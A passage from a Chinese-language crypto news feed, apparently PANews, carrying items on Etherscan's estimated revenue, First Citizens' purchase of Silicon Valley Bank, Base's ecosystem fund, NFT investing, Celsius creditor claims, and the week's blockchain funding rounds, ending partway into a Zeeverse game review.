万美元之间。由于该新闻简报并不是“核心”业务，我们也没有讨论打开率，因此假设价格折扣为 50%。 Etherscan 每期新闻简报可以收取 1 万到 2.5 万美元的费用（每月发布一次新闻简报）。总体而言，他们可以从新闻简报中获得每月 1 万到 2.5 万美元的收入。 网站广告分为四种类型，包括主页横幅广告、横幅广告、页头文本广告和按钮广告。 老实说，这个收入非常依赖 Etherscan 决定如何变现。正如下面的例子所示，它取决于行业领域、变现方法以及行业的状况。 根据网站流量来估算广告收入非常棘手，因为它根据行业、领域和地理位置而变化很大。就一个背景而言，每 1000 次浏览可以从 0.10 美元到 50 美元不等。 超级通用的公式是：每月流量/1000 * RPM。 RPM 的变化范围约为每 1000 次展示 15 美元到房地产保险等特定领域的 100 美元。让我们假设加密货币的 RPM 在 30-50 美元之间。 使用极其粗略的估计，我预测 Etherscan 的能力实现商业化，以及有 4 个不同的广告位置和加密货币更高的 RPM 率将为 Etherscan 带来： 如果我们假设 Etherscan 能够以最低价格（199 美元/月）将以下百分比的独立访客（800 万）转化为买家： 至于 Etherscan 的 Explorer-as-a-Service（EaaS），它更像是一次性交易（或许有一些保证金费用）。该网站列出的大多数链上服务、代币授权和区块扫描聊天仍处于测试阶段。 因此，我们估计这将年度收入在低七位数范围内（100 万到 300 万美元）。 根据 LinkedIn 的信息，Etherscan 有 29 名员工。LinkedIn 将前 5 个“部门”分类如下： 让我们创建一个场景来估算 Etherscan 在上述 5 个部门上需要花费多少资金： 总的来说，对于上述 5 个部门，Etherscan 每年需要花费 250 万到 433 万美元。 但是，重要的一点是，Etherscan 的运营地点在马来西亚——这将大幅降低薪资支出。更现实的假设是将年度头数支出的费用减半，即每年 125 万到 215 万美元。 正如往常一样，这个数字只是头数支出评估。它不包括其他运营成本，如第三方供应商、办公空间等。 我们的估计得出以下结果： Etherscan 的收入：每年 623 万到 2149 万美元。 我们的粗略估算结果是： 对 Etherscan 而言，洞察业务是非常合理的选择。 他们拥有所有区块链数据，可以推出类似 Dune 的控制面板或 Nansen 的钱包标记等产品。这似乎是 Etherscan 相对轻松地扩展垂直领域，无需投入过多资源的一种方式。 事实上，Etherscan 没有利用这一趋势表明他们已经在他们征服的领域（原始区块链数据）和品牌（网站流量/广告收入）上已经非常盈利。 Etherscan 处于一个良好的位置。他们不在美国，也没有推出任何代币。随着区块链生态系统的成熟，让我们期待着这个无可争议的区块浏览器之王如何进入市场。  ( 6 min )
    FDIC：第一公民银行已收购硅谷银行，并承担其所有存款和贷款
    PANews 3月27日消息，美国联邦存款保险公司 (FDIC) 在其官网上宣布，联邦存款保险公司（FDIC）与第一公民银行和信托公司（First–Citizens Bank & Trust Company）就Silicon Valley Bridge Bank（硅谷银行过渡银行）所有存款和贷款签订了购买和承担协议。硅谷银行过渡银行的17家前分行将于当地时间3月27日作为第一公民银行和信托公司开业。 截至2023年3月10日，硅谷银行过渡银行总资产约为1670亿美元，总存款约为1190亿美元。今天的交易包括以165亿美元的折扣价购买约720亿美元的硅谷银行过渡银行，这是National Association的资产。约900亿美元的证券和其他资产仍将处于接管状态，等待FDIC处置。此外，FDIC还获得了第一公民银行股份有限公司(First Citizens BancShares, Inc.)的股权增值权，这些普通股的潜在价值高达5亿美元。 FDIC估计，硅谷银行倒闭对其存款保险基金 (DIF) 造成的损失约为200亿美元。确切的成本将在FDIC终止接管时确定。  ( 4 min )
    一览Base生态基金四大支持方向，市场的下一个趋势？
    作者：Base 编译：Felix, PANews 此前Coinbase在2月23日发布公告，宣布推出安全、低成本、对开发者友好的以太坊Layer2 Base。愿景是共同努力，将下一个十亿用户带到链上。在宣布成立Base的同时，还宣布了Base生态系统基金，这是一个投资基于Base网络的早期（种子前到种子）项目的资金池，并结合Base团队的专门支持以帮助项目取得成功。 在过去的三周里，很多人对加入Base生态系统基金产生了兴趣，并提出了各种各样的想法。除了一系列提案，在过去几周里，Base还讨论了认为对帮助链上经济增长至关重要的事情。基于这些讨论，Base正在开放建设者的申请，以促进在关键领域建设。 在深刻思考在去中心化稳定币的设计中，Base对“flatcoin”很感兴趣，这种稳定币可以跟踪通货膨胀率，使用户具有稳定的购买力，同时也具有弹性，能抵御金融系统造成的经济不确定性。Base也欢迎其他形式的“flatcoin”，不与法币挂钩，而是填补法币挂钩代币和不稳定加密资产之间的空间。鉴于全球银行体系近期面临的挑战，Base认为这些探索比以往任何时候都更为重要。 此外，Base很高兴听到一些团队正在探索他们自己的稳定币/flatcoin系统，或者专注于如何增加现有系统（如Reflexer/RAI, Spot/Ampleforth, Frax/FPIS, Olympus DAO等）的采用。 Base认为，区块链是下一个互联网，去中心化的身份和声誉将在定义每个人的链上角色方面发挥关键作用。通过支持原生链上实体的信誉协议，有机会在链上创建更多的信任。这可能看起来像ENS名称上的FICO或谷歌页面排名类型评分，商家的评级/评论，以及其他有助于在链上建立信任的措施。Base乐见于团队深入思考链上声誉和信用是什么样子，以及如何利用这些系统，同时保护用户隐私和自主权。 虽然Base相信现有的交易所产品（例如AMM）非常有用，并且是关键的DeFi基础设施，但LOB仍有用武之地，尤其对专业交易员和机构而言。Base的高吞吐量将为设计现货交易、限价单、期权、永续权等新机制提供了新机会。而且，建设者可以使用OP Stack之类的开源工具来构建L3，在带来更快的速度和更强的控制力的同时，也有可能增加流动性的深度，而且可以通过L2访问。 随着DeFi生态系统的不断发展，Base认为需要更好的工具，让用户和开发人员能够跟上创新的步伐，同时保证资金安全。 包括可以防止智能合约代码漏洞或协议逻辑错误的工具（例如，自助安全测试工具，审计服务），帮助减轻生态系统攻击影响的工具（例如，威胁预防，断路器和事件响应系统），以及最终的链上保险和覆盖协议，或任何其他可以在智能合约失败时为用户提供关键支持的产品。 建设者正在构建系统、协议和工具，使每个用户都可以在链上存储他们所有的资金。Base认为，这些基础设施对于吸引下一个十亿用户是绝对必要的。 不要为了在Base上建设或申请Base生态系统基金，而被迫选择上述想法中的任何一个。借用Y Combinator的一句话： “对RFS（Ready For Service）的回应永远不会成为我们资助谁的决定性因素。正如我们多次说过的，人比想法更重要。另外，除非您真的对某件事感兴趣，否则您不可能把它做好。所以，如果您有其他的创意，就不要局限于RFS中所描述的想法。这样才更有可能获得资金来研究您真正喜欢的想法。”  ( 4 min )
    PA图说 | 一图掌握Polygon上NFT一周关键数据（03.20—03.26）
    PANews APP 2.0 全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 4 min )
    解读NFT发展最新趋势：如何进行建立优质投资策略？
    编译 | Cindy SophonLabs NFT已经诞生约10年，经历了从最初的艺术创作和思想实验到近两年深度融合市场的发展历程，呈现出明显的周期性。从宏观角度来看，这是新兴产物发展的必经之路：从默默无闻到广受欢迎，NFT经历了从零价值到泡沫化的过程，最终回归到符合自身定位的价值，成为Web3实际使用的产物。 尽管NFT市场前景广阔，但其价值波动性相对较大。一些NFT作品的价格在短时间内涨幅巨大，但也有一些作品的价格在较短时间内大幅下跌。因此，投资者需要谨慎评估风险，并选择合适的投资策略。 一个周期中NFT发展的几个关键阶段： 最近，说明我们处在泡沫破裂期的晚期，NFT呈现量价齐跌的态势。一般NFT的周期会比加密货币市场更迟钝，大概存在半年间隔。加密货币市场于今年年初还是复苏，则NFT市场约从年中开始。既然我们处在熊末牛初的阶段，可以适度关注和定投超跌的蓝筹项目，耐心等待。在NFT市场中，蓝筹NFT系列通常是指那些已经被市场认可并且表现出高度稳定的价值的项目。类似于传统股市中的蓝筹股投资，这些项目属于知名企业或者是备受推崇的艺术家，他们的作品具有一定的历史价值、文化价值和专业价值，能够长期保持市场价值的稳定。与此相比，其他NFT项目可能存在更大的波动性和风险性。根据2022年第二季度Dapp行业报告的分析，蓝筹NFT收藏品被认为是比加密货币本身更安全的资产类别，这是因为它们的价值通常是基于实际的物理或数字资产，而不仅仅是纯粹的数字货币。此外，蓝筹NFT收藏品的拥有者通常是高净值个人或机构，他们的投资决策更加理性和稳健，不容易受到市场情绪的影响。因此，蓝筹NFT收藏品被视为一种相对安全的投资选择，而且在未来的发展中也有可能会继续保持其稳定的市场价值。成为蓝筹的原因：蓝筹NFT收藏品的价值主张通常是长期的，这些项目的背后往往有一个在行业中拥有稳固且良好声誉的团队。与其他NFT项目不同，这些代币通常有一个明确的用例，而不仅仅是为了投机。此外，蓝筹NFT收藏品往往拥有一个充满激情的社区，这些社区成员通常都对该项目的长期价值潜力感到非常乐观。我们来盘点3个优秀的蓝筹项目： CryptoPunks CryptoPunks 是以太坊上的第一个 NFT 项目，至今仍然是最受欢迎的项目之一。几乎该领域的每个人都听说过。 CryptoPunks是2017年在以太坊区块链上创建的第一个NFT项目，由Larva Labs开发。它包含了10,000个8位像素风格的人物头像，每个头像都有自己的独特特征和属性，如眼睛、发型、帽子、口罩等，每个头像都是不可替代的，因此非常有价值。 CryptoPunks的创意和独特性使得它迅速赢得了人们的青睐和关注，它成为了NFT市场的里程碑之一。由于CryptoPunks的成功，它激励了更多的NFT项目的诞生，如Bored Ape Yacht Club、Meebits等。 Bored Ape Yacht Club Bored Ape Yacht Club是基于以太坊区块链的一个集合，包含了10,000个Bored Ape NFT，这些NFT是通过生成式创建的，因此非常珍贵。 Bored Ape Yacht Club（BAYC）是一个基于以太坊区块链的NFT项目，由一组独特的猿类NFT组成，每个猿类NFT都有自己独特的特征和属性，如表情、服装、配饰等。BAYC的猿类NFT是通过生成式艺术创建的，因此每个NFT都是独一无二的。 Bored Ape Yacht Club的猿类NFT被认为是非常有价值的数字收藏品，因为它们的数量有限且独特。持有BAYC的猿类NFT的人可以获得许多特权，例如获得社区成员的身份、独家活动和社交聚会的邀请等。 Bored Ape Yacht Club的成功吸引了许多人的关注和投资，其中一些猿类NFT的价格已经飙升到数百万美元。Bored Ape Yacht Club也成为了NFT市场的代表性作品之一，它的成功也激励了更多的NFT项目的诞生。 Azuki Azuki是一个基于以太坊区块链的NFT项目。Azuki的NFT是通过生成式艺术创建的，因此每个NFT都是独一无二的。Azuki的NFT被认为是非常有价值的数字收藏品，因为它们的数量有限且独特。持有Azuki的NFT的人可以获得许多特权，例如获得社区成员的身份、独家活动和社交聚会的邀请等。 Doodles Doodles是一个基于以太坊区块链的NFT项目，由一组独特的卡通形象组成，每个形象都有自己独特的特征和属性，如面部表情、服装、配饰等。Doodles的NFT是通过生成式艺术创建的，因此每个NFT都是独一无二的。 了解NFT市场的基本知识 在投资之前，投资者需要了解NFT的基本知识，包括NFT的概念、交易流程、市场规模等。这有助于投资者更好地理解NFT市场的风险和机会。 选择高品质的NFT作品 NFT市场上有很多低质量的作品，投资者需要选择高品质的NFT作品。这些作品通常由知名艺术家或品牌发行，具有较高的收藏价值和潜在的升值空间。 谨慎评估投资风险 尽管NFT市场前景广阔，但其价值波动性相对较大。投资者需要谨慎评估风险，并选择合适的投资策略。例如，可以根据自己的投资偏好和风险承受能力，选择长期持有还是短期交易。 关注NFT市场的最新动态 NFT市场的发展速度非常快，投资者需要时刻关注市场的最新动态。这有助于投资者更好地把握市场机会，并及时调整投资策略。 NFT市场是一个快速发展的数字资产市场，其市场规模不断扩大，应用场景也变得更加多元化。然而，NFT市场的价值波动性相对较大，投资者需要谨慎评估风险并选择合适的投资策略。了解NFT市场的基本知识，选择高品质的NFT作品，谨慎评估投资风险，关注市场的最新动态，这些都能帮助投资者更好地把握市场机会并获取长期的投资回报。 虽然我们仍处在泡沫破裂期的晚期，NFT呈现量价齐跌的态势，但NFT市场恢复预计从今年年中开始，可以持续关注NFT市场动态，埋伏有潜力的蓝筹，等待市场回暖。  ( 4 min )
    Celsius债权人：客户可在4月28日前对债务人提出索赔证明
    PANews 3月27日消息，Celsius官方无担保债权人委员会 (UCC) 发推文称：“在最近的客户索赔裁决中，法官Martin Glenn表示客户可以只针对Celsius Network LLC提出加密货币的合同索赔，但Glenn法官的决定并不妨碍客户对所有债务人提出非合同索赔，如欺诈、疏忽性失实陈述或其他法定或普通法索赔。此外，鉴于这一法院裁决，债务人现在已重新开放截止日期。客户可以在4月28日前对任何债务人提出索赔证明。”  ( 4 min )
    从游戏公司到元宇宙最大“包工头”，速览获得软银等3700万美元融资的LandVault
    近日，元宇宙开发公司LandVault宣布完成3700万美元融资，这是最近该领域为数不多的大手笔融资案例。LandVault有何来头，为何能获得软银、The Sandbox和Kingsway Capital等投资机构青睐？ 3月23日，LandVault披露其获得了The Sandbox、软银和Kingsway Capital领投，HodlCo和Gemini Frontier Fund等参投的3700万美元融资，并将利用这笔资金继续其Web3扩张并创建AI工具，同时扩大亚洲、迪拜、欧洲和美国团队的规模。 “我们的愿景是加速元宇宙的经济发展，人工智能技术的最新进展正在帮助我们快速制定路线图。元宇宙需要一个WordPress（开源的网站建立工具），让任何人都能像创建网站一样轻松构建元宇宙，我们正大力投资研发来构建这些工具。”LandVault首席执行官Sam Huber透露称。而The Sandbox已经于今年支持了LandVault开发的人工智能工具。 作为专注于为元宇宙项目建设基础设施，LandVault成立于2017年，最初主要帮助品牌开发和发展游戏。2021年11月，LandVault获得了2500万美元B轮融资，此轮融资资金主要用于游戏植入广告和开发元宇宙基础设施。这意味着迄今LandVault的的总融资额已达6200万美元。 直到2022年，游戏公司Admix收购LandVaul成为正式转战Web3的转折点，前者创始人Sam Huber担任LandVault的首席执行官。Admix是一家在游戏内植入广告的游戏公司，曾与麦当劳、Calvin Klein 和F1等知名品牌均有过合作。此次重塑品牌后，LandVault的估值不仅达到了3亿美元，还获得了“大量财务资源和数千个品牌合作伙伴”的机会。 早在2022年6月，Sam Huber曾透露，LandVault约4个月的元宇宙产品收入已超过了过去两年的收入总和。目前，LandVault的商业模式是怎样的？ 官方显示，LandVault不仅仅是建筑商，可为任何想要进入元宇宙的项目提供端到端的解决方案，还旨在帮助他们在元宇宙中创造利润，从土地租赁、项目管理到业务衡量等服务。 在元宇宙建设上，LandVault共有超120名内部构建者，并在元宇宙中完成了200次构建并开发了1亿平方英尺，约12%的元宇宙均是由LandVault建造。作为元宇宙最大的开发商之一，根据官网披露，LandVault不仅已经和The Sandbox、Decentraland、NFT World、World of Women和Somnium Space等众多知名加密项目合作，还是渣打银行、喜力、欧莱雅、万事达卡、好时和Creative Artists agency等传统顶级品牌的合作伙伴。LandVault曾对外披露称，LandVault的项目收费会在一定基础成本上，根据复杂性和开发难度增加，从1万美元的小型项目到接近7位数的大型项目，平均构建时间为6周以上。 LandVault帮助好时在Decentraland上建设 除了土地建设，LandVault还提供土地购买和租用服务，其在头部项目中拥有超100个地块。当然，持有者也可将土地抵押给LandVault，由该平台进行出租。 此外，LandVault还提供人工智能技术支持的Metaverse Discovery工具，可用于帮助追踪每个元宇宙平台的市场趋势，比如待出售的土地数量、平均价格、销售量等指标，还可在购买土地时查看每个土地的价格、特征和销售历史等，并提供最好报价，以及用户还可以查看情绪指数的销售指标、具有发展前景的地块等。值得一提的是，元宇宙平台还可通过LandVault的API接入Measurements来收集用户和分析使用情况，包括新增用户、平均连接时间、最大访问量时间段、最常访问地点等。 从游戏公司到元宇宙开发商，再到一体化元宇宙工具包，业务在短时间内的成功转型或许是LandVault获得高额融资的主要原因之一。  ( 4 min )
    融资周报 | 公开融资事件27起；元宇宙开发公司LandVault完成3700万美元融资，The Sandbox、软银和Kingsway Capital领投
    本期看点 据 PANews 不完全统计，上周（3.20-3.26）全球区块链有27起投融资事件，与前一周相比有所增多，概览如下: 下面我们一起来全盘回顾上周的投融资事件。 Megaton Finance完成150万美元种子轮融资，TONcoin.Fund领投 去中心化自动化做市商交易所（AMM-DEX）Megaton Finance宣布完成150万美元种子轮融资，The Open Network（TON）生态孵化加速器TONcoin.Fund领投。Megaton Finance由韩国区块链技术公司OZYS开发，旨在推动DeFi生态发展并支持TON网络中的开发者/初创公司，据悉该公司还获得了其他赞助者支持，包括Cypher Capital、First Stage Labs、Orbs、MEXC Ventures等。 DeFi平台Ejara完成战略融资，Cardano生态系统加速器Adaverse参投 由喀麦隆女性领导的DeFi平台Ejara完成战略融资，Cardano生态系统加速器Adaverse参投。Ejara希望改善4亿多人的经济机会，尤其是撒哈拉以南非洲地区没有银行账户、失业的青年和妇女。为实现这一目标，Ejara将传统金融和加密货币相结合，帮助非洲人掌控自己的财富。Adaverse是Cardano生态系统加速器，由EMURGO Africa和Everest Ventures Group合资成立，旨在加速非洲的Web3初创公司。 链游开发商CCP Games完成A16z领投的4000万美元融资 成立于1997年的游戏开发商 CCP Games 已经筹集了 4000 万美元的资金，用于制作一款以Eve Online宇宙为背景的新的 3A 区块链游戏。Andreessen Horowitz (A16z) 领投，Makers Fund、Bitkraft、Kingsway Capital、Nexon、Hashed 和其他参与者跟投。CCP 总部位于冰岛首都雷克雅未克，并在伦敦和上海设有工作室。CCP Games 首席执行官 Hilmar Veigar 表示，这笔融资将使 CCP Games 能够利用其研发团队的发现，利用区块链技术全面开发新的 3A 游戏。 元宇宙开发公司LandVault完成3700万美元融资，软银等领投 元宇宙开发公司LandVault宣布完成3700万美元新一轮融资，The Sandbox、软银和Kingsway Capital领投，HodlCo、Gemini Frontier Fund 等参投。在过去两年中，LandVault已经与喜力、欧莱雅和万事达卡等合作伙伴共同创建元宇宙基础设施，该公司将利用这笔资金继续其Web3扩张并创建AI工具，同时扩大亚洲、迪拜、欧洲和美国团队规模。 元宇宙基础设施开发商Hadean完成500万美元融资 元宇宙基础设施开发商Hadean今天宣布，它已经筹集了额外的500万美元资金，用于构建其元宇宙基础设施解决方案。新的资金增加了该公司之前的A轮融资，该公司去年9月筹集了3000万美元。此次额外融资投资方包括Ericsson Ventures、Metrea Discovery、VU Venture Partners、Sanctor Capital和Tirta Ventures。 元宇宙营销平台Gamitronics完成150万美元战略融资，Big Viking Games参投 元宇宙营销平台Gamitronics宣布完成150万美元战略融资，Big Viking Games参投，该公司首席执行官Rajat Ojha透露目前已启动pre-A轮融资，预计将在未来几个月内完成。据悉，Gamitronics推出的元宇宙营销平台PartyNite主要帮助品牌商吸引受众，通过出售虚拟地块让品牌商在虚拟世界中投放广告，新资金将帮助该公司拓展加拿大和美国业务并进军P2E链游市场。 元宇宙游戏Star Life获得德国联邦经济事务与气候行动部120万美元融资 元宇宙社交大型多人在线（MMO）游戏Star Life已从德国联邦经济事务与气候行动部获得120万美元的融资。Star Life是澳大利亚iCandy Interactive的子公司，正在使用基于Web的HTML5技术进行开发，这将使其虚拟世界易于访问。该游戏侧重于合作和社区驱动的体验，将优先考虑社交、多样性以及成为元宇宙的一部分，最终为玩家举办活动和音乐会。 608 Labs完成2200万美元融资，来自FTX和MEXC的天使投资人参投 608 Labs宣布完成2200万美元融资，前FTX成员Ryan Caroson和MEXC Exchange首席运营官Mario Luttz等投资者参投。608 Labs旨在构建一个工具和平台，以此帮助企业在Web3领域里运营，并推动Web3行业变得更加安全和去中心化。Animoca Brands曾为该公司提供了首笔捐款，而本次募集的新资金将用于其扩大开发者和工程师团队。 Layer 1 区块链Radix完成1000万美元的融资，DWF Labs支持 Layer 1 区块链网络 Radix 在新一轮融资 1000 万美元的融资中估值达到 4 亿美元。这轮代币完全由 DWF Labs 支持。DWF已经提供了800万美元的资金，剩余的200万美元将在近期提供。 加密托管钱包Gryfyn完成750万美元融资，Animoca Ventures等参投 加密托管钱包Gryfyn完成750万美元融资，Liberty City Ventures、GameFi Ventures、Lavender Hill Capital Partners、Mind Fund、Animoca Ventures、LeadBlock Partners、Angel Hub、Brinc，以及天使投资人Gabby Dizon参投。据悉，Gryfyn是Animoca Brands和数字资产托管商Hex Trust的合资企业，旨在提供托管加密钱包。Animoca Brands的联合首席运营官Arnoldo Concepción已被宣布为Gryfyn的首席执行官。 加密初创公司Turnkey完成750万美元种子轮融资，红杉资本和Coinbase等参投 加密初创公司Turnkey完成750万美元的种子轮融资，红杉资本、Variant、Coinbase等参投。据悉，Turnkey由前Coinbase Custody高管团队创建，为发生数万亿链上交易的加密行业提供基础。其目标是成为开发人员优先选择的工具，允许用户“生成数百个钱包并在任何链上签署数千笔交易，且具有灵活、可编程的权限，以确保用户只签署其想要的内容”。 中间件平台Particle Network完成700万美元融资 中间件平台 Particle Network 完成 700 万美元融资，参投方包括 Animoca Brands、Longhash Ventures、GSR Ventures、HashKey 和 OP Crypto。筹集的资金将用于进一步改善其安全产品并扩大团队，目前该团队的人数约为 25 人。该公司曾在去年 4 月的一轮种子前融资中筹集了 180 万美元，参与方包括 LongHash Ventures 和 Insignia Ventures。Particle Network于去年初成立，其核心产品是登录和钱包中间件解决方案，可帮助开发人员将用户友好的 web3 身份验证解决方案集成到他们的去中心化应用程序中。 “WebAssembly”公司Dylibso完成660万美元种子轮融资，Felicis领投 “WebAssembly”公司Dylibso宣布完成660万美元种子轮融资，Felicis领投，boldstart ventures、Pebblebed和Crew Capital跟投。WebAssembly（简称wasm）是一个虚拟指令集体系架构（virtual ISA），整体架构包括核心的ISA定义、二进制编码、程序语义的定义与执行，以及面向不同的嵌入环境（如Web）的应用编程接口（WebAssembly API）。据悉，Dylibso公司推出的首款产品Modsurfer目前已经上市，将专注于Web3/区块链、浏览器、插件和去服务器四个核心领域。 Web3身份认证平台Aspecta完成350万美元种子轮融资，HashKey Capital等参投 Web3开发者身份认证平台Aspecta宣布完成350万美元种子轮融资，真格基金、HashKey Capital、Foresight Ventures、Galxe、Dorahacks、CyberConnect、Mask Network和P12等参投。据悉，Aspecta能够为开发人员创建基于AI的身份资料页面，继而让社区了解程序员的能力水平，利用算法从用户钱包地址如何与智能合约交互并相应地标记他们的活动类型中获取线索，使链上数据更加结构化，目前Aspecta已与GitHub集成，其alpha版本候补名单已吸引了大约130,000名用户，未来或将探索DAO治理。 生成式AI初创公司Character.AI以10亿美元估值完成1.5亿美元融资，a16z领投 生成式AI初创公司Character.AI宣布以10亿美元估值完成1.5亿美元融资，a16z领投，GitHub前CEO Nat Friedman、Elad Gil、A Capital和SV Angel参投。新资金将使其能够扩展计算能力，“从而产生具有高级推理和更高准确性的更复杂模型”。有消息称，Character.AI可能会探索加密（或更广泛的Web3）和社交音频市场，因为a16z一直是这两个领域的重要参与者。 匿名DAO项目tomi完成4000万美元融资，DWF Labs领投 旨在建立替代互联网网络的去中心化自治组织 (DAO) tomi 已筹集到 4000 万美元，由数字资产做市商 DWF Labs 领投，Ticker Capital、Piha Equities、日本加密巨鲸和社区领袖 Hirokado Kohji 以及其他私人投资者参投。tomiNET 是一种由 DAO 管理、无监控的万维网替代方案。这笔资金将用于为网络吸引内容创作者。Tomi 的目标是“为互联网重新开始”，使用其 DAO 治理模型来促进言论自由和获取未经审查的信息。 Web3社交平台OP3N以1亿美元估值完成2800万美元A轮融资，Animoca Brands领投 基于 web3 的社交 AI 平台 OP3N 完成 2800 万美元 A 轮融资，这轮融资由Animoca Brands牵头，Dragonfly Capital、SuperScrypt、Creative Artists Agency 和 New Enterprise Associates 的 Connect Ventures、Republic Crypto、Avalanche 的暴雪基金、Galaxy Digital 和 Warner Music Interactive 等参投。该公司估值为 1 亿美元。新资金将用于进一步开发其应用程序以及壮大其领导团队。OP3N 的基于聊天的产品 Superapp 旨在通过将区块链和去中心化技术实施到 Web 2.0 友好界面中来弥合 Web 2.0 和 web3 之间的差距。该应用程序将能够将音频、视频和混合媒体内容添加到链上交互中，以便用户可以获得“一站式”体验。 Web3金融科技公司Heartstocks完成500万欧元融资，Vanagon Ventures参投 Web3金融科技公司Heartstocks宣布完成500万欧元融资，一批中型家族办公室、天使投资人和慕尼黑Web3风投Vanagon Ventures参投。Heartstocks利用区块链技术将实物藏品、股票和实体公司转换为可投资的代币化证券，以吸引更多人参与投资。 数字房地产交易平台ALT DRX完成360万美元种子轮融资 数字房地产交易平台ALT DRX完成360万美元种子轮融资，包括160万美元股权与200万美元可赎回夹层债务，用于投资房地产资产。参投方涉及印度律师事务所、知名家族办公室、初创企业创始人以及来自新加坡发展银行、安永会计师事务所、汇丰银行、沃尔沃、Salesforce等未透露姓名的高管等。据悉，ALT DRX是一家位于印度班加罗尔的初创企业，允许房地产资产所有者将其房地产所有权非物质化，转换成代币化的可交易数字资产。 Web3投资平台TradeTogether完成200万美元种子轮融资，Orbit Startups领投 新加坡Web3投资平台TradeTogether宣布完成200万美元种子轮融资，美国风险投资公司SOSV旗下Orbit Startups领投。TradeTogether提供为合格的投资者、机构和商户量身定制的Web3资产管理解决方案，允许客户对代币篮子、数字债券等代币化解决方案和Web3结构化产品进行多元化投资，其合作伙伴包括UBS、Julius Baer和Six。 碳信用跟踪协议Carbonable完成120万美元种子轮融资，Ethereal Ventures、La Poste Ventures领投 基于StarkNet的碳信用跟踪协议Carbonable完成120万美元种子轮融资，Ethereal Ventures以及La Poste Ventures领投，Starkware参投。据悉，Carbonable旨在跟踪碳信用的生命周期，包括项目的选择到碳信用的监测、发行和退出等不同阶段。 区块链房产科技初创公司HouseAfrica完成40万美元融资 区块链房产科技初创公司HouseAfrica宣布完成40万美元融资，参投方包括Future Africa、SSE Angel Network（SSEAN）、ARM Labs、CV VC、Startupbootcamp Afritech、Niche Capital、Rebel Seed Capital等。新融资将用于深化技术开发并扩大采用率及其团队规模。HouseAfrica为房地产开发商及其客户提供房地产数字化和透明度工具，该公司的旗舰产品Sytemap利用专有的区块链和地图技术创建私人土地登记将房地产项目站点地图数字化。 Web3音乐创作者平台SphereTrax完成25万英镑融资 Web3音乐创作者平台SphereTrax完成由Jenson Funding Partners投资的25万英镑（约30.68万美元）融资，以支持其让创作者获得音乐控制权。该轮融资将用于扩大SphereTrax团队。SphereTrax由区块链系统支持，允许创作者保留高达75%的版税，它使用Bitcoin SV，支持即时付款。SphereTrax预计将于4月1日推出，届时将有超过1万首曲目，并接受作曲家入驻申请。 多资产投资平台eToro以35亿美元的估值融资2.5亿美元 多资产投资平台 eToro 以 35 亿美元估值融资 2.5 亿美元，该笔融资通过高级投资协议（AIA）获得的，投资者包括 ION Group、Social Leverage、SoftBank 和 Spark Capital。EToro 计划利用其新资本发展业务，并在全球和“主要市场”投资该产品。它还打算扩大其在美国的业务。 德国金融科技投资公司Raisin完成6000万欧元E轮融资，Catalyst参投 德国金融科技投资公司Raisin宣布完成6000万欧元E轮融资，私募资产基金Catalyst参投。Raisin于2022年9月推出可管理的加密货币投资组合服务“Raisin Crypto”，帮助用户以一种低成本的方式投资加密货币，目前该组合中的加密资产包括比特币、以太坊、Cardano、Solana、Polkadot、Polygon和Avalanche。除了加密投资之外，Raisin还提供ETF、退休金融产品、以及私募股权投资业务。 土耳其加密货币交易所Metatime完成1100万美元的种子轮融资 尚未启动的土耳其加密货币交易所 Metatime 筹集了 1100 万美元的种子资金。土耳其投资公司 Yildiz Tekno GSYO 和多个未公开姓名的天使投资人参投。这家位于伊斯坦布尔加密初创公司正在开发交易所、钱包、区块链、NFT 市场和稳定币。 数字资产交易公司Crossover Markets完成635万美元种子轮融资 数字资产交易公司 Crossover Markets 已从 Two Sigma、Flow Traders、Laser Digital 和 Wintermute Ventures 等交易巨头那里获得了 635 万美元的种子资金。Crossover Markets 正在推出一个新的交易场所 CrossX，以满足参与加密市场的机构的流动性要求。CrossX 将使客户能够创建定制的暗色和亮色流动资金池。它还将支持匿名、公开和半公开交易。平台上的交易费用为 0.01%。 TTV Capital旗下第六支基金完成2.5亿美元募资，拟投资Web3等领域 TTV Capital宣布旗下第六支基金完成2.5亿美元募资，该基金最初设定的融资目标为1.5亿美元，目前已超额认购1亿美元，新基金拟在支付、投资、Web3和嵌入式金融等领域的早期金融科技公司进行投资。TTV Capital是一只专注于专门投资于金融服务生态系统公司的早期金融科技基金，其投资组合包括加密投资应用Streetbeat、Web3社交游戏发行商Carry1st、稳定币跨境支付解决方案提供商Higlobe、加密税收和会计平台Ledgible等。 DAO加速器Seed Club以2500万美元的资金启动其风险投资部门Seed Club Ventures 以 DAO 为中心的加速器项目 Seed Club 以 2500 万美元的资金启动了其风险投资部门。这笔资金将在未来几年内部署到种子前和种子阶段的项目中，为 DAO 和开放社区建设基础设施、应用程序和工具，支票从 10 万美元到 100 万美元不等。Seed Club Venture自 2021 年第三季度以来一直在“悄悄投资”，并支持了Guild、Stability AI、Lens 和 Metalabel 等项目。 它有 63 个成员，包括 Multicoin Capital、Delphi Digital 和 Dragonfly Capital 等加密风险投资公司，以及家族办公室、传统风险投资公司和公司。 但他补充说，大约一半的成员是加密领域的个人。 区块链风投机构Contango Digital Assets完成120万美元种子轮融资 区块链风投机构Contango Digital Assets宣布完成120万美元种子轮融资，一批家族办公室、VC高净值人士和天使投资人参投。目前Contango Digital Assets已为50多个Web3团队提供支持，新资金将用于加大Web3基础设施领域构建和投资。本轮融资完成后，Solidea Capital联合创始人/董事总经理Eric Baum将会加入Contango Digital Assets董事会。  ( 7 min )
    将成为TreasureDao上的下一个“爆款”？一文解析Web3沙盒游戏Zeeverse
    原文：《下一个The Beacon？Web3游戏Zeeverse全方位介绍》 作者：fishman 首次接触到Zeeverse还是在区块先生的youtube上看到的。简单的上手体验了下，画风清新，有趣；沙盒世界+PVE闯关的玩法，代币经济和资产还没有。所以并没有留下太深刻的印象，但是在一年前的链游环境下，也算矮子里拔将军-短中取长了。所以有持续跟踪了下，期间项目经历过更换市场团队与团队调整，游戏也有些迭代变化。直到前段时间，Zeeverse先后和Curve、TreasureDao搞了些大动作合作，游戏表现出了一定的生存韧性。茶馆社区的小伙伴也在咨询Zeeverse的信息，所以是时候介绍下Zeeverse了。 Zeeverse是一款像素精灵宝可梦风格的沙盒游戏，由于完成度还较低，目前主要可以体验到的是一个回合制策略地牢闯关。偏休闲，不肝不氪。采用邮箱的账户登录方式免费游戏。主要资产NFT-Masks，ERC20Token-VEE均发行在ETH主网，近期和TreasureDao在深化合作，传言有在Arb上Mint NFT的可能。距离其上线运营时间接近1年。接下来向大家详细介绍下游戏相关信息 1、团队介绍 Zeeverse是由web2专业游戏开发和发行工作室Beetroot 